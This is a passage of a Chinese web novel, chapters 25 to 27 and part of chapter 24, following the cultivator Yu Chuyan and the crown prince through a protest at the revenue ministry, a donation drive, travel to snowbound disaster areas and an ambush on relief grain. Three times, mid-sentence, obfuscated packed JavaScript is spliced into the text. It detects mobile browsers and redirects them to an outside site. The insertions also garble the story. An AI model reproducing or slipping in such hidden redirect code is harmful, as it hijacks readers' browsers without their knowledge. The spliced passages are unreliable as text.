之前搭话的书生追问:“难不能禁卫军还能杀了他们不成?” “他们自己都说了死了也无妨,禁卫军成全他们有什么不好?”余初晏不明所以, “说到底,户部都已言明陛下在做准备,他们不信,执意跪在此处,不就是找死吗?” 那书生一梗,周围人都找不出话反驳于她,只能吹胡子瞪眼。 人群外当真传来铁骑行进之声,旁观之人散去了一些,但更多的还留在原地观望,哪怕巡捕赶人也不愿离去。 余初晏望一眼拥挤的人群,眉心微蹙,转而将李晓蓉带向禁军的方向。 领头的小头领认识余初晏,见到她有瞬间错愕,没有直接点名她的身份,只拱手行礼。 余初晏压低声音,“左侧那个蓝衣的,右侧头戴灰色布巾的,还有那个脸上麻子很多的,是闹事之人,身上携带了凶器。” 小头领脸色未变,他身后的禁军顺势环顾人群,将余初晏所说之人皆记在眼中。 “属下知晓了,可要派人保护两位?”两位头戴帷幔的女子与禁军交流过分显眼了些,若是落到有心人眼中,难保遇到危险。 余初晏轻声拒绝,这才与大气不敢喘的李晓蓉退到旁边些。 禁军上前后,强硬地将书生扶起,也不管他们说什么、什么身份,只管要将他们通通拉去牢中冷静几日。 “朝廷昏庸无道!百姓苦不堪言!苍天开眼啊!” 几名求生被人压着也不老实,一副视死如归的模样,口中愤然高斥着。 禁军推搡他,作势要摘下他们头戴的布巾堵住他们的嘴。 忽而人群中一阵骚乱,站在最前头的民众只觉得身后有巨力袭来,不自觉向前扑。 部分禁军不得不上前将他们扶住,维护群众秩序。 混乱之下,有人高声呼喊:“禁卫军当街杀人了!” 众人惊恐朝着声源望去,却未见到所谓的死者,只瞧见禁卫们将几名男子压制在地,隐约可见那几人手中的寒光。 闹事之人被五花大绑,连同那群书生一起被人带走。 余初晏不知他们下场如何,多半今年春闱是参加不了了。 小头领离去前向她致谢,若非余初晏提醒,今日恐怕还会生上更多的乱子,他们在场的禁军都难逃其咎。 还执意留了几名禁军,说是护送两人回去。 李晓蓉心有余悸地抓着余初晏的手臂,逛庙会的心思也歇了。 户部衙门门口人群散去,闹剧勉强落下帷幕。 但怀疑的种子已经在民众心中种下。 果不其然,第二日又听闻有其他州考生前往刑部衙门闹事,要求将昨日那群求生放出,口中直言刑部动用私刑,他们凶多吉少。 青渊帝在御书房发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603368|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了很大一趟火,连声道要将领头之人尽数砍头,太子前往相劝。 余初晏再次离宫,混入人群中探查事态发展。 这回轮到刑部之人一个头两个大,闹事之人岂能随意释放,那不是助长了闹事风气,日后衙门哪还有威严可言。 但这群考生来自五湖四海,算得上是官员预备役,打不得骂不得。 昨日禁军抓走一批,已经引得京中众学子不满,早朝时御史处也指责皇城司禁军行事激进,今日又不知该如何收场。 人群中复又有惑众之音,明里暗里暗示民众,月前那到惊天霹雳正是上天对今上不满。 提到惊雷,民众心有戚戚,多数人这辈子第一次见如此声势浩大之雷,心下也逐渐动摇。 引来惊雷的当事人,余初晏:“……” 眼见事情僵持不下,忽而传来几声:“让让!大家伙的快让让!” 人流推搡着让出一道通道,几名小厮合伙抬着一口近半人高的黑箱子,来到户部衙门口。 箱子之后跟随了一众女子,她们或戴帷幔,或以扇半遮面,或直接袒露自己姣好容颜。 打头之人正是宋峥,她今日穿得正式,一身华贵的郡主宫装。 众人不明所以,对着这群女子指指点点,窃窃私语。 宋峥却是不理,抬高声音道:“听闻两州雪灾严峻,百姓苦不堪言,特携姐姐妹妹捐赠些银两,聊表微薄心意。” 小厮将箱盖一掀,明晃晃的银光照在人脸上,刺得人眼睛生疼。 户部尚书又跌跌撞撞跑出衙门,这回是喜的,满心欢喜朝着宋峥一行人躬身,嘴中直呼:“郡主万安!” 宋峥银鎏金丝扇掩面一笑,“张大人不必多礼,这里有近两万两白银,内附捐赠人名单。张大人收下后,可别忘了在陛下面前美言两句,也好替姐妹们讨个表彰。” “这是自然!”张大人笑得见牙不见眼,“下官替灾民们感谢郡主与诸位夫人小姐慷慨!” 作势要屈膝跪下。 宋峥当即扶起他,满脸不赞同,“张大人这话说得!我们商贾之家,哪比得上他们有些读书人,膝下自有万两金,也就只有这点身外之物了。” 在场的读书人:…… 还在一旁刑部衙门闹事的书生:…… 有人嘀咕道:“不过是爹娘要么丈夫的钱,有何可骄傲的?” 自以为小声的嘀咕,被贵女们听见,当下有脾气烈的啐道:“先不说这钱老娘自己赚的!就算是我爹娘的又如何?有本事你别用你爹娘的钱!呸!假清高!” 旁观之人面面相觑,一时也不知该看哪边衙门的热闹,刑部衙门前那群书生也讪讪不做声,脸皮薄些的已经遁走。 余初晏正是此时走出人堆,手里不知从何处摸出一口梳妆匣大小的漆箱,话不多说,直接放进户部尚书手中。 户部尚书接过漆箱时,面容扭曲了瞬间,老腰差点一闪,堪堪稳住身影将漆箱置于女子们捐赠的箱子上。 暗自腹诽,太子妃真是天生神力,这箱子少说百斤,就这么面不改色地捧在手中。 同时心中也有了考量,那晚的万两金,不出意外就是太子妃送来他府上。 “阿晏,你也在此处!”宋峥喜上眉梢。 “表姐。”余初晏回以颔首。 宋峥趁机扬声道:“张大人,今日在场捐赠之人都应该纸币记下名讳,上达陛下,陛下若是见此名单,定会龙心大悦!” 户部尚书与宋峥对视一眼,忽然就明白了她的意思,眼睛一亮,忙唤属下去摆桌拿纸笔。 打开漆箱,作势轻咳一声:“余家阿晏姑娘,捐黄金千两!” 众人皆哗然,前有万两白银,后有千两黄金,今日也算是开了眼了! 小吏忙挥笔记下,他又将女子们那份写明的单子,拿在手中唱过。 这事态发展弄得众人摸不着头脑,余初晏疑惑地望向宋峥,后者朝她眨眨眼,让她好好瞧着。 人群中两人异口同声道: “我捐五百两!” “我捐一千两!” 一位是名大腹便便的商贾,后者却是一名身着襕衫头戴方巾的儒生。 25. 离京 眼见着方才还在刑部闹事的儒生,一眨眼挤到户部跟前,伸手就是一叠银票,他的同伴纷纷怒目而视。 那儒生只当没看见,迫不及待报了自己名号,待吏员将他写于纸上后,复又问可真会送至陛下跟前。 富商也紧张地望来,他体型受限,慢了这儒生半步,好歹写在了第三位——首位正是余初晏。 户部尚书重重点头。 儒生才昂首挺胸离去,离开前还狠狠瞪了眼同伴们,心道一群蠢货。 他中举已有十余载,想当年也是县里数一数二的天才,但数十年不说上金銮殿,连贡生都难考中。 这番若能考取贡生,等到殿试,他因着这捐款在陛下跟前落了名,届时不说一甲,进士名头那不手到擒来? 就算未考上,区区千两能入陛下眼,岂不一桩美事! 只有蠢货才想不通个中缘由,还在衙门闹事,他可不能与之同流合污。 两人之后,众人争先恐后掏出自身携带的银两、银票,不足的一跺脚跑回去接。 一时间,户部门前门庭若市,小吏手都快写断了,哭丧着脸求尚书大人多安排几人。 刑部衙门口门可罗雀,剩余些没什么钱的灰溜溜地逃走。 宋峥一行人早已经离开百尺外,姐妹们手挽着手,忽而就笑作一团。 “我学学宋阿姊那神情,膝下自有万两金~” “你学阿峥做什么?学那些书生!”脸一耷拉。 “太像了,你应该去考科举,耷着脸无人怀疑你不是书生。” 宋峥浅笑着看她们玩闹,偏头瞧见余初晏也被逗得面带笑意。 忍不住用肩去顶她,“阿晏,这场好戏如何?千两金花得不亏吧?” 余初晏还是有些不解,为何那群书生忽然就内部分裂,以及看热闹的众人忽然就如此慷慨,抢着为灾民捐赠,分明许多人瞧着不像是大善人。 宋峥跟她解释:“那群书生闹事多半是为了名,捐银两同样是为了名,前者未必能达成还可能吃上牢狱之灾,后者若是运气好,就可是让陛下记住名讳的天大好事!” “你想想,一个看起来光鲜亮丽实则很可能已经发霉的点心,和一个别人已经尝过,能够延年益寿的果子,你要选哪个?” 当然是都不选,她才不要别人剩下的东西,余初晏心想。 她想了想,才道:“我瞧着幕后之人有意识地在诋毁陛下,动摇民众的信任,实际上也有成功之势;为何方才一打出陛下的名头,那群人又如此——如此癫狂。” 全然忘记了他们之前对青渊帝的怀疑。 宋峥耸肩,“人是这样的,怀疑他人的品格与崇尚他人的权势并不冲突。何况皇帝的品行如何对大部分人来说不那么重要,不如想想下一顿吃什么。” 凡人的思维真的很难懂,虽然后一句余初晏还是认可的。 走在前头的几人回头呵斥两人悄悄讲私密话不带其他姐妹。 宋峥笑着回了几句,转过头问余初晏可要与她们一同去城外施粥。 余初晏回绝了,那种弥漫着怨气、死气的群体,于她无益,不想过多接触。 宋峥并未强求,道:“过些日子你便要与太子前往灾区,下回见面就得等到陛下生辰。” 余初晏偏头,等待她后文。 “日后来我们吴州玩,表姐带你出海瞧瞧!” 提到海,余初晏还未曾见过,只从师尊口中以及书中骗过,她期待点头,“一言为定。” - 午膳时,余初晏在桌上分享上午发生之事。 赵景泽嘀咕着:“阿晏你又偷溜出宫。” 在皇后无情地瞪视下闭上嘴。 三公主赵堇淳听完若有所思,“所以那书生为何突然不闹事,反而抢着捐款?” 老二赵景澈抢答:“因为他被表姐所为感动,也想为赈灾尽一份力!” “未尝不是这般原因。”皇后浅笑,“阿淳觉得为何?” 赵堇淳抬着头,环视一圈太子皇兄与皇嫂的神情,又见双生兄长满脸得意扬扬。 轻声道:“不论他意味何,父皇都应该嘉奖于他。” 赵景泽戳弄一番她鼓囊囊的腮帮,“阿淳你这家伙一点也不诚实,你分明就觉得书生别有所图。” 皇后平静一望,赵景泽又老实收回手。 “君子论迹不论心,况且君子慎于言,儿臣心有疑,却不能随意议人是非。”赵堇淳道。 赵景澈不服气,尤其是见到母后赞赏的目光,若非此时还在餐桌上,他定要与妹妹咬文嚼字,较量一番。 待他满心不服,拿起公用银箸,想要夹些自己最心爱的冬笋烧鸭时,却见碟中空空如也。 闷不做声的余初晏,已经在所有人分神谈论时,用完了今日的午膳。 - 募捐一事,陛下得知后直呼大善,特另户部特质一批铜钱,赏给募捐名单上留名之人。 领头捐赠的女子们与名单前三位更是为其各书一幅墨宝,盖以御印,以示表彰。 拿到青渊帝墨宝的余初晏:“……”不是很想要,转手送给了羡慕万分赵堇淳,又惹得赵老二泪流不已。 至于铜钱,铸出来还需一段时日,听闻持此铜钱者,可敲登闻鼓而不受刑,当然胡乱生事还是会下狱。 日后贫苦之迹,还可凭此铜钱,领朝廷济银一份。 皇后大手一挥,加了一条,凭此铜钱,可每月于不羡仙免费挑选一道菜品,价格不限品种不限。 余初晏这才知道不羡仙居然是皇后的嫁妆。 不愧是富可敌国的宋家人。 出发之日定在初七,恰好贺家军折返淮州边城,索性绕道护送赈灾队伍。 素兰留在东宫,她现在掌中馈已熟练,宋嬷嬷放心将诸事交由她,东宫离不得她,只能含泪挥别余初晏与太子。 余初晏出行当日,见到终于被允许返回皇城的裴松山一行人。 除夕当日卜算出错,青渊帝得知余初晏此前已有告知钦天监众人卜算错误,上达皇帝的折子中却仍然沿用最初的卜算结果。 遂罚参与卜算所有人于祭坛大殿斋戒一周,今日才解禁。 随行的侍卫于东门整装,裴松山领着众监侯从东门归城。 余初晏笑眯眯跟他们打招呼,道:“近些日子虽说天晴,但几位夜里还是多多注意些,未必没有大雪。” 太子也过来了,原是不想余初晏与裴松山多言,闻此仰头望天,“今晚会下雪?可会影响行程?” 监侯们低眉顺眼,称多谢殿下指教。 余初晏觉得索然无味,转头与赵景泽并肩离去,“今晚京中无雪,大雪下在别人心里头。” 赵景泽点头,“阿晏说得对,灾民心中亦有飞雪,我们当尽快启辰才是。” 这小龙崽子,怎么就这么傻,余初晏抬手捏他的耳垂,直弄得太子寒风中的面容染上浅浅红霞。 两人的交谈自然落到钦天监众人耳中,各个垂头丧气不敢作声。 裴松山长叹一声,国师之徒到底非同凡响,是他们见其年轻又为女子,才轻视于她,也算是吃了教训。 另一厢,原本想骑马前行的余初晏,一看见那张熟悉的脸,当即甩脸色,进了马车。 赵景泽不知她与贺鸣过节,上前与贺鸣攀谈,“此番路上,还请定边侯多担待些。” 贺鸣视线极快地掠过余初晏的背影,定格在储君脸上,轻轻颔首,“殿下抬举,为国分担是属下之责。” 见贺鸣目光扫过马车,赵景泽低声解释:“阿晏不喜骑马,不过定边侯放心,马车断不会影响行程,只管全速前进即可。” “无妨,家妹正巧近日身体不适,不便骑马,且与……”贺鸣一顿,“太子妃殿下相伴罢。” 贺家军在军营整装,前期不与赈灾队伍一道,需等到出了外城上官道才会汇合。 趁着还未汇合,赵景泽骑马凑在马车边,简单地介绍贺家三兄妹。 余初晏早已跟三人都有过接触,还是没有打断太子。 “说起来,贺二前些日子说是醉酒摔伤了,这几日事务繁忙,我还一直未探望他,不知他伤势如何。”赵景泽语气里不见担忧,还有几分幸灾乐祸。 罪魁祸首余初晏抿唇一笑,“得阿泽关心,那他这一下摔得不亏。” “他摔伤前日还和我吵架,莫不是故意摔的,想让我原谅他?” “有这种可能,所以一会见到他,你少搭理他。” 赵景泽深以为然,贺二那厮以前在尚书房欺负同学、乱传他喜欢表姐,后来又故意想带他纵乐。 若非有个好家世,几个头都不够他父皇砍。 虽然打定主意不理贺二,真见到那张姹紫嫣红的脸,赵景泽一愣,随后傻乐道:“贺二,你这是脸着地摔的啊,难怪这么久不出来见人。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610303|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >贺二冷笑,“好你个赵……” “吱呀”一声,马车窗户打开,余初晏探出面容,冷淡地扫一眼贺二,招手让他身边的贺吟上车。 贺二:“……”这尊煞神怎么也在,赵景泽疯了吧,又不是出去郊游。 赵景泽还在嗤嗤笑他的脸,边笑还边让余初晏一起瞧。 余初晏扬唇,“这都小半个月了,贺二公子的脸还没好,可不是遇到庸医了?” “阿泽,随行还有几名太医,让他们给贺二好好瞧瞧。” 贺二一噎,拱手直道:“谢过太子殿下和太子妃殿下关心。” 也不待两人回答,扭头就走。 哼哧哼哧爬上马车的贺吟,小声与余初晏咬耳朵,“我二哥压根没敢去看郎中,怕丢人。” 今日她梳着百合髻,脑后扎着青蓝色发带,配合她那双圆溜溜的眼睛,像只兔子。 身上有淡淡的血腥气,难怪定边侯说她不便骑马,应该是来葵水了。 余初晏转手将她不需要的手炉塞进贺吟怀中,又将窗关好,小兔子受宠若惊。 马车外赵景泽被这声太子殿下叫得笑容一僵,有几分摸不着头脑,这贺二何时对他这么恭敬过,怕不是又在憋什么坏招。 转头却对上紧闭的车窗,队伍已在缓慢行进,赵景泽只好将郁闷压回心底,准备快马奔向队列前。 “陛下来了,在城墙上。”余初晏没开窗,仅仅轻叩车壁,引起太子注意。 赵景泽回首,因为离得远,只能看到一道模糊的身影站于城墙之上。 冬日的阳光同样刺眼,照得赵景泽眯起眼,虽说不知余初晏是如何知道那是父皇的,他还是很高兴父皇来送他。 定定望了半响,余初晏又轻敲着车壁。 赵景泽收回视线,终于下令出发。 - 行进途中堪称无趣,官道并不总是平整的,余初晏被颠到头疼,研究半天绘了道符篆用来减震。 马车终于如履平地,哪怕跟上众人跑马的速度也不觉颠簸。 除了看话本、修炼,也就只能与贺吟聊聊天。 余初晏才知贺吟与李晓蓉认识,不是通过宋表姐的宴会,而是在淮州时便相识。 那就是李晓蓉离京那段时间。 贺吟感激道:“晓蓉阿姊的字写得好看,还会做文章,花不到一两银子就帮我写夫子留的功课。” 余初晏:“……”感情贺吟还为了学习花两份钱。 “唉,若是我不用读书,每日同你这般光坐着就能变强便好了。”贺吟叹气。 余初晏脸色一冷,当即把贺吟最近在学的那本书通背一遍,直念得贺吟捂耳称受不了。 谁说她不读书的,她虽然不喜,又不代表不学无术。 “修仙要背的法诀比之你们凡人科举有过之而无不及。”余初晏随手拿出一本砖头般厚重的玉简。 置于掌心中,灵力一动,密密麻麻的蝌蚪文浮于空中,并不断扩散,直到马车壁上全都是仙文投影。 贺吟光看着就觉得眼睛吵得疼。 “这本是我六岁时所背。”年少时,余初晏并不被允许吸收灵力,每日除了练体,就是纯靠脑子记下这些繁杂的仙文。 她都不记得自己背了多少了,后来才知道玉简可以直接通过灵力融入脑海中,不过是师尊忘记告诉她玉简使用方法了。 等发现时,无霜道人发现这是一种绝佳消耗幼儿过剩精力的方法,所以余初晏很晚才掌握玉简正确使用方法。 “修仙之路并非谁都能踏上。”余初晏收回玉简,“有天赋之人寥寥,也绝非你所说只消随意打坐,就能变强。” 不过余初晏是千年一遇的奇才,在紫宸之气范围内,她确实只消吐纳吸收紫气就能变强。 贺吟被她唬得一愣一愣的,端着茶奉到她面前。 余初晏接了这杯茶,显然不想再讨论这一话题。 马车内瞬间冷了场,贺吟绕着发带,想搭话,又不知道说些什么。 憋了半响,还是受不了沉寂的气氛,神神秘秘地凑到余初晏身边,小声道:“晏阿姊,我悄悄告诉你一个秘密,你可千万不要与旁人提起。” 余初晏挑眉,喝一口茶。 “上回,你打过二哥,他回家后,便不能人道了。” “……”余初晏差点被茶水噎死,捂着唇咳嗽半响。 怎的,这贺吟还打算追她的责吗? 26. 入灾区 进到江州地带,气温骤降,每日都能听到碎冰粒打在车顶的声音,行进速度也减缓。 前方将途经江州最大最繁华的县城昌县,贺鸣带着众人于驿站附近就地扎营。 而太子与其詹事、向晖一行人去县里买粮。 一路上途经县城之时,都会入城买粮面,越是接近灾区,粮价俞发高了。 各地官仓也不愿多放粮给赈灾队伍,哪怕赵景泽手中持着御令,地方官推三阻四声称本县也诸多不易。 余初晏提剑威胁了两次,用处不大,还惹得后来途经的县中,官员直接称病不出。 不过江州好歹鱼米之乡,哪怕官仓不愿分粮,从城中粮商手中还是购得不少。 还有当地百姓听闻是赈灾队伍,担着家中米粮相赠。 百姓家中粮食,赵景泽万万不敢收下,实在数量多的,便用城中粮价买入。 小半个月行程,粮食也攒了近百车,在官道上格外显眼,还因此遇上过山匪,全被贺家军挡了下来。 贺二一路上还算老实,连贺鸣都心生狐疑,想不通平日里偷鸡摸狗的贺二,为何这般听话。 正协助安营扎寨的贺二如芒在背,不断回想自己近日哪里招惹了马车里的煞神,天天眼神奇怪地观察他。 他又不敢直接问,只好不停找活做分散注意力。 余初晏甫一合上窗,贺吟便着急问道:“如何,阿姊觉得我二哥可还有法子治好?不然你再打他一顿?” 余初晏并不想脏了自己的手,摇头不语。 却见贺吟一脸天塌了的神情,“完了,我们贺家要绝后了,还是说只能看我了吗?” 余初晏:“?” “大哥都快而立之年,也不娶妻生子,二哥现下直接无法人道。”贺吟越想越伤心,“祖父祖母一把年纪了,也不能指望他们再生个。” 余初晏常常因为无法理解他人,而不知该说些什么。 好半天,她安慰道:“虽说你二哥不能人道,但未必不能双修。” 贺吟费了些功夫猜到余初晏所说的双修,应当指的是床笫之间,耳朵一红,她还未出阁,这种事知之甚少。 哪像余初晏一副云淡风轻的样子。 “那你说,我二哥……该如何……如何双修?”贺吟声音细如蚊呐,像是从齿间挤出来的。 余初晏略加思索,道:“等过些时日,我找些双修秘籍给你,你看过便知。” 她们九阙派,秘籍术法应有尽有,区区几本双修秘籍而已,拓印下来送人也无妨。 双修之术虽说部分修真者看来是旁门左道,但师尊说食色性也,双修既然被天道允许存在,那就是正经路子。 顶多使用之人不正经,创造出采补术这种损人利己之法,那才叫歪门邪道。 正经的双修于双方都有益,偶尔为之,未尝不可。 虽说如此,余初晏自认己身已是惊世之才,还不需要到双修增进修为的地步。 贺吟被她的大胆震惊到失语,春宫图也是能说送就送的吗。 随即面红耳赤地点头应下,总之……先收下再说,为了贺家,她也是拼了! - 两日后,终于来到湖州边界,到了此处,将改陆路为水路。 因为深及人膝的积雪阻碍了进程,而赈灾一事不能拖得太久。 河道结冰也无妨,岸边自有想要赚一口饭吃的纤夫拉船前行,何况太子给的远比他们平常赚的更多。 余初晏现在船头,遥望着于冬日着单衣拉船的纤夫。 河道的冰层虽不厚,但也比未结冰时费力很多,何况岸边也有积雪阻碍。 或许是动了恻隐之心,也或许是不想再慢悠悠等下去,她又挑挑拣拣,仿照仙舟符文,画了两张符篆,分别贴在两艘船首。 仙舟与普通船构造上有本质区别,她的符篆虽说不能让船像仙舟一般于天际翱翔,也能让这些纤夫轻松不少。 赵景泽将她的所作所为记在眼中,他帮不了什么忙,静静守在她身边。 余初晏朝他伸手,赵景泽一把握住她温暖的手,满心欢喜肩贴肩。 众人明显感知到船行速度比之前快了不少,瞧见站在船头的余初晏,大都心中有数。 纤夫们虽然觉得今日的船比以往容易拉,也未怀疑什么,只当是先前吃了顿饱饭。 又是两日,清晨时分,他们才堪堪抵达受灾最严重的县城。 空中飘着细雪,风很大,河面上的浮冰被吹得飘向下游,水波涌动,船身随之轻轻晃动。 “城中受灾瞧着不算严重,看来城外的乡镇才是赈灾重点。” 赵景泽一路观察,河道两边房檐上结着冰锥,但房屋并未倒塌,还能隐隐瞧见炊烟。 “阿晏,你要去往何处?需要我一同前往吗?”扭头问余初晏。 余初晏沉默,她来之前算了两卦,先是自己的,中上卦,行险而顺,积极必有作为。 无论如何测算,此番幕后之人又隐于暗中,不敢与她正面交锋。 又替太子测算一番,凶卦,小人得势,君子困顿,当明哲保身,伺机而动。 如此卦象,太子跟她一起当然是最好的,以免出意外。 但余初晏瞧着赵景泽并不想跟着她,还想亲身入险,与贺家军一同深入救灾。 虽然她与小龙崽相处不到半年,算是了解他某些方面的固执。 当初在帝后面前信誓旦旦,必将赈灾安排得妥妥当当,不负储君之名,那他定会亲力亲为。 所以她反问:“龙脉地处偏僻,你随我在深山老林带上一周半月,赈灾之事全权交给下属也无妨吗?” 赵景泽果然一塞,抿唇思量,神情中多有犹豫。 码头近在眼前,纤夫喝声高亢,船速逐渐趋于平稳。 此前在京中被人提及过的知州,与当地一众官员,都已侯在河边。 码头周围的道路清理得还算干净,积雪堆在路边。 一众士兵铸起防线,将面色麻木的灾民们挡在远处,不让他们接近码头。 赵景泽将一切收于眼底,而余初晏将他的反应记在心中。 摸了摸他还算红润的脸颊,余初晏道:“骗你的,此地皆为龙脉,你只消站在地面上,我就能设法修复,好好做你自己的事。” 赵景泽反握住她的手,嘴角一翘,难得没有说话,只专注地瞧着余初晏。 船即将靠岸,向晖催促他主持大局。 赵景泽在众人看不见的角度,飞快地贴了一下余初晏的唇角,反将自己弄得满面红晕。 错身之际,余初晏拉住他,加深了这个吻。 向晖站在不远不近之处,复喊了一次。 余初晏灵巧地在太子口中转一圈,吸够了紫气便松开他,手中符箓一拍进他胸口,“好了,等你遇到危险我会知道,第一时间去救你。” 赵景泽哈出一团白气,借着刺骨的冷风降温。 他心捣如雷,余初晏到像个没事人,先一步走向向晖。 “岸上有刺客,你让定边侯的人做好准备。” 向晖:“……这么重要的事,您不早说。”还和殿下腻歪,夫妻两果然都不靠谱。 “我现在说了,你们还不去准备?别太明显,以免打草惊蛇。”余初晏无所谓耸肩。 向晖深深吸一口气,呼出,转身就走。 平复心情的赵景泽过来时,已经瞧不见他的身影,疑惑:“向晖人呢?” 太子的其他亲随官一梗,望向余初晏,不敢怒也不敢言,“太子妃殿下言明岸上有刺客,向统领前去做安排了,殿下您……” 亲随官原想太子回船舱待着,转念一想,还有比太子妃身边更安全的地方吗,只得自暴自弃,道:“您跟太子妃殿下待在一起罢。” “走吧,是要下船接见地方官吧?”余初晏先行一步,赵景泽只好快步跟上,亲随官紧跟其后。 走到下船口,赵景泽后知后觉反应过来,方才他的人好像提到了刺客? 船板放下,余初晏已经稳稳踏上岸边,神识瞬间探入龙脉,却被其逼退。 这龙脉还挺有脾气,余初晏皱眉,一把握住身边赵景泽的手。 神识再次探出,这回龙脉迟疑片刻,轻轻触了触她,接受了她的探访。 正与官员寒暄客气的赵景泽微顿,目不斜视地继续交谈。 在场几位官员因着雪灾,未曾上京陛见,不知余初晏身份,见太子与其关系亲密,心下有几分不满。 这太子是来赈灾的还是来度假的。 寒风中不便多言,赈灾物资还需卸船,众官员邀请太子先下榻住处。 赵景泽望一眼向晖,后者朝他轻轻摇头。 余初晏提醒有刺客潜伏,但众人上岸后,刺客迟迟未有动静。 向晖与贺鸣的人四下探寻,皆未发现可疑之人。 余初晏没必要说谎,但找不到刺客人,太子久滞码头反而令人生疑。 赵景泽顺势带着神游的余初晏一同前行,向晖护在他左右。 贺家军留下,等待赈灾物资彻底离船,并交予当地赈灾官手中后,才会与太子汇合。 “船!船底破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616573|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了!”忽然一名船工慌慌张张跑上甲板。 贺鸣忽然意识到,刺客的目标并非太子,而是赈灾粮! 刹那间,一群黑衣人破水而出,谁也不知道他们是如何忍受极寒,一直潜伏在水中。 贺鸣预料成真,刺客确确实实奔着赈灾物资而来,当即杀死几名正在搬运货物的脚夫。 货仓还在漏水,船工想要补漏,反被刺客杀死。 贺家军加入与刺客缠斗,同时护着脚夫们抢救物资。 太子一行人方走到路口,还未离开码头,向晖只得领着太子亲兵折返相助。 终于从龙脉收回神识,余初晏还不知发生何事,一定神,道:“龙脉受损还不算严重,但是雪灾并非完全因为它受损引起,即便我修复好龙脉,气候不会因此好转。” 听她这番话,官员们云里雾里,什么龙脉,什么受损。 而赵景泽心下一紧,他们原以为龙脉修复后,气候自然恢复往年冬天那般。如此的话,赈灾会轻松很多,持续时间也不会太长。 而若气候不会恢复,严寒依旧,那于百姓而言,又将是何等残酷的现实。 “阿晏,你可有法子……”赵景泽哑声问。 未等他说完,余初晏忽然抽出他腰间的长刀,在旁人惊骇的目光下,横刀一甩。 冰冷的刀锋扎入偷袭刺客的颈部,面罩下的眼睛不可置信地瞪大,捂着脖子无了声息。 “都说了有刺客,向晖去哪了?”余初晏护着太子,不满地扫视着四周如鹌鹑般缩成一团的官员们。 那些刺客一击未成,不知为何再无动作。 反倒是货船上形式焦灼,不少船工和脚夫被误伤或是不慎落入水中。 船身已经微微倾斜,带有沉没之势。 赵景泽着急,遥指那边,“阿晏!船要沉了!” 余初晏瞥一眼,有她的符篆,船当然沉不了,不过士兵们未必知道这点。 她随手捏出纸鹤,传音与贺鸣,让他无需顾虑漏水的船底,全力击杀刺客。 抬脚踢了下蹲着的知州,示意他起身带路。 余初晏心中隐隐有不详的预感,那群刺客身上带了隐匿气息的符篆,或许是幕后人所制。 此时连她都找寻不出异样的气息,太子一直站在大街上,那就是活靶子,不如先行回室内。 至于随行的其他人并非刺客目标,不如置于贺家军的保护下。 - 赵景泽被护送上马车,府兵开道,将衣不蔽寒的百姓挡至一旁。 透过窗户,看到这一幕,赵景泽心中百般不是滋味。 余初晏同样观察着人群,用着神识,恶意地窥视太过明显,她实在无法放心。 但人群中无一不是普通人,连凶器都未持有。 马夫顶着百姓目不转睛的视线,握着马鞭的手都在颤抖,路面湿滑又不敢提速,怕惊扰了车中贵人。 忽然,一道细瘦的人影突破府兵,冲到路中间。 吓得马夫勒马急停,定睛一看,却是名年幼的孩童,未着鞋缕,手脚都被冻得发紫。 他跪倒在地,颤抖地开口:“车上之人……是来救我们的吗?能救救我娘亲吗?她快要冻死了……求求你们了!” 赵景泽终于忍不住,掀帘而出,他的手指同样被冻得通红,可比起周围百姓来说,根本不算什么。 余初晏抬手又收回,终究没拦他。 “你家住何处?”俊美非凡的少年高高站在车前辕,虽说俯视之姿,眼中却尽是怜悯与爱护。 孩童仰着脸,原本想要拖他离开的府兵,因着此人的出现而停下了动作,他抿唇握拳,眼中闪过挣扎。 赵景泽见他不说话,以为他被吓到了,复又温和道:“我乃青渊太子,特令圣上之命,前来救灾,我以储君身份起誓,只要我还在洞县一日,就绝不会放弃任何一位百姓!” “不仅洞县,所有受灾地区,我都将护到底!全力赈灾!” 赵景泽这番话,并未让人群生出太大的希望,但他并不着急,行动会证明一切。 目光又落回孩童身上,“所以相信我好吗?你家在何处?家人状况如何?” 那孩童低头不语,双拳紧握,竟有血珠滑落。 赵景泽一惊,想让府兵瞧瞧他的情况。 “抱歉……”孩童低喃,忽而暴起,以不符合他年龄的速度冲到马匹前,手中紧握着带血的陶片,狠狠刺入马的前腿。 受惊的马嘶鸣一声,前蹄一扬,发疯似得狂奔向前,将官员与府兵的叫喊、混乱的人群尽数甩于身后。 27. 暗阁 余初晏反应很快,堪堪接住了后仰的赵景泽,与他一同跌进车厢内。 身后混乱声音渐小,车厢里杂物乱飞,两人废了些功夫才稳住身形。 马夫尝试安抚马匹,却无用,只能尽力操控马车不撞上障碍,车毁人亡。 赵景泽目露受伤,显然想不通为何他的子民,还是个孩童,会如此对他。 